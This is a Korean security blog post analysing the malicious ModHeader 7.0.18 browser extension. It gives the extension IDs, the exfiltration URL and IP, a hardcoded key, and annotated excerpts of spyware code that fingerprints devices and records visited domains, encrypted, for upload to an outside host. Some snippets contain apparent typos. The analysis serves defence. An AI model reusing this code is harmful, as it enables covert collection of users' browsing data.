설치횟수 160만 회 이상을 가진 유명한 크로미움 확장 프로그램 중 하나인 “ModHeader”가 최근 악성코드로 진단을 받고
Google 및 Microsoft Extension Store 에서 제거가 되었다.
ModHeader는 HTTP 요청 및 응답 헤더를 수정시키는 크로미움 브라우저 계열의 확장 프로그램 중 하나로
인터넷 통신 프로토콜을 브라우저 단에서 변형시켜서 사이트 테스트를 하거나 하는 등
여러 방면으로 사용할 수 있는 확장 프로그램이었다.

이러한 프로그램은 그 특성상 어느 사이트의 요청 및 응답을 수정할지 몰라 모든 사이트의 접근을 허용하는
권한을 요청할 수 밖에 없게 된다.
반대로 그러한 행위 자체는 악의적인 행위도 수행시킬 수 있었다는 점이 문제였다.
이런 형태는 대부분 공급망 공격으로 신뢰할 수 있을법한 곳을 역으로 공략하여
정상적인 것처럼 위장을 할 수 있다는점이 특징이 되겠다.
문제가 발생한 버전은 ModHeader 7.0.18으로
Chrome 에서는 idgpnmonknjnojddfkpgkljpfnnfcklj
Edge 에서는 opgbiafapkbbnbnjcdomjaghbckfkglc
으로 확장 프로그램 ID(Extension ID)가 부여되어있다.
해당 악성코드는 특정한 URL 주소로 POST 전송을 통해
사용자가 방문하는 도메인을 수집 후 AES-GCM 암호화 후 데이터를 보냈다.
도메인 : https://api.stanfordstudies[.]com/app/log (3.147.61[.]167 / Amazon Technologies Inc. / AS16509)
악성 페이로드 : dayjs.min-[임의의 hash값].js
실제 악성행위 수행 : background-[임의의 hash값].js
Payload
우선 해당 확장프로그램에서 background-158180d4.js 파일이 날짜 스크립트로 위장한 파일을 import 시킨다.
1 2 | // background-158180d4.js import{g as Nt,a as r0,i as i0,C as Ac,r as s0,t as xc,b as Rc,u as Ic,c as a0,d as o0,e as sf,f as af,h as Za,s as u0}from"../dayjs.min-6a736ee8.js" |
payload 된 dayjs.min-6a736ee8.js코드 중 일부는 다음과 같다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | // dayjs.min-6a736ee8.js const cl = () => { // e as sf : 브라우저의 정보를 수집 const h = navigator.userAgent.toLowerCase(); return h.indexOf("edg/") !== -1 ? "edge" : h.indexOf("chrome") !== -1 ? "chrome" : h.indexOf("firefox") !== -1 ? "firefox" : "other"; }; function fl(h) { // f as af : 도메인 주소를 수집 try { return new URL(h).host } catch (i) { {} } } const hl = h => new Promise(i => { // s as u0 : setTimeout 호출로 대기 setTimeout(() => { i() }, h )}), vl = h => new Date(h.getullYear(), h.getMouth(), h.getDate()); // h as Za : 특정 시간대 발신하도록 지정 |
그 다음 실제 악성 행위는 background-158180d4.js에서 다음과 같은 악성행위를 수행할 수 있었다.
cl함수를 참고해 $w배열에 존재하는지 본다.
1 2 3 4 5 6 7 8 9 10 11 12 13 | // background-158180d4.js let qo; (async() => { qo = await Ho.importKeyFromBase64("aWfU3yG_wksZaQdSnxPJBOId0cAN8KK/UIlZbli7-bE") } )().catch(console.error); globalThis.maxDomainCount = 1e3; const Qc = 1, qw = "https://api.stanfordstudies.com/app/log", $w=[], // 함수 sf에 의해 확인된 브라우저 값이 입력되면 해당 기능은 동작한다. (edge, chrome, firefox, other) Yw="mod盐header"; // 소금 염(盐) |
기기마다 고유한 핑거프린트 값을 설정 후
1 2 3 4 5 6 | // background-158180d4.js Hw = async() => { // fp(FinterPrint) 값 설정 const r = new Date().getTime().toString(); return await kr(r,"SHA-256") }; |
특정 시간 난수 조건에 맞춰서 불특정하게 API POST 호출을 요청시킨다.
1 2 3 4 5 6 7 8 9 | // background-158180d4.js async function zw() { let r = await kr(`${globalThis.fp}${Yw}`, "SHA-256", 10), // Hw에 의해 암호화된 값인 SHA-256(Date.now()) 과 "mod盐header" n = (Number(BigInt(r) % BigInt(60 * 60 * 8)) + 60 * 60 *7) / 3600, // 7시간 ~ 15시간 사이 i = new Date; const a = Za(new Date); return Math.round((i - a) / 1e3) / 3600 > n } |
하드코딩된 $w조건이 떨어지는 경우
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | // background-158180d4.js chrome.tabs.onUpdated.addListener(async(r, n, i) => { await Jw(r, n, i) }); async function Jw (r, n, i) { try { const a = sf(); if ($w.indexOf(a) === -1 || n.status !== "loading") // qo에 의해 설정된 $w 에 따라 Flag 를 설정하나 $w는 []로 비어있어 이 로직을 수행하지 않음 return; const u = n.url || i.url; if (!u) return; await Zw(u) // 도메인을 기록하기 } catch(a) { } } |
방문한 도메인을 기록한다.
1 2 3 4 5 6 7 8 9 10 11 12 13 | // background-158180d4.js async function Zw (r) { // 방문한 도메인을 기록 const n = af(r); // 도메인 주소 if (n === globalThis.lastChangeDomain) return; globalThis.lastChangeDomain = n; let { settingDB:i, domainDB:a, fp:u, aesIv:l } = await jw(), f = await Ho.encrypt(qo, n, l), // AES-GCM 방식으로 도메인 주소를 암호화 p = await a.get(f, 0); await a.put(f, p + 1), // 암호화된 도메인의 방문횟수 Count await Qw(a, i, l) } |
결론
다행히 해당 악성 확장 프로그램 자체가 특정 URL로 업로드를 수행했던것인가에 대해서는 아닌것으로 보인다.
$w = [];키 값이 매핑되어야만 동작하지만 차단되기 전까지 버전인 7.0.18 까지도 여전히 $w값은 아직 값이 할당되지 않았기 때문이다.
또한 RCE나 eval악용, new Function, import방식도 확인되지는 않았다.
즉, 자격증명 수집을 위한 로커 데이터 수집까지는 가능했으나 외부로 유출 가능한 패턴이 확인되지는 않았던 것으로 보인다.
다만 이 확장프로그램은 계속 로컬에 방문기록을 저장해놓고 언제든지 공급망에서 업데이트를 통해 $w값이 수정이 되는 순간 방대한 데이터가
수집이 되었을 것을 고려하면 비정상적인 형태로 데이터를 수집한 ModHeader 확장 프로그램은 악성행위를 충분히 수행한다고 보고 있으며
제거가 필요하다고 권장하고 있다.
여담이지만 아직까지는 이 ModHeader 의 도메인 수집에 대해서
어느 그룹이 배후인지 등에 대해서는 밝혀진 정보가 없다고 얘기하고 있다.
내용 참고 : ModHeader Malware: Inside the Chrome Spyware Google Removed – HackIndex
![You are currently viewing [Security] ModHeader 확장 프로그램, 악성코드로 판단되어 스토어에서 내려가](https://i0.wp.com/blog.supersu.kr/wp-content/uploads/2026/07/Gemini_Generated_Image_t8ncrct8ncrct8nc.png?fit=1408%2C768&ssl=1)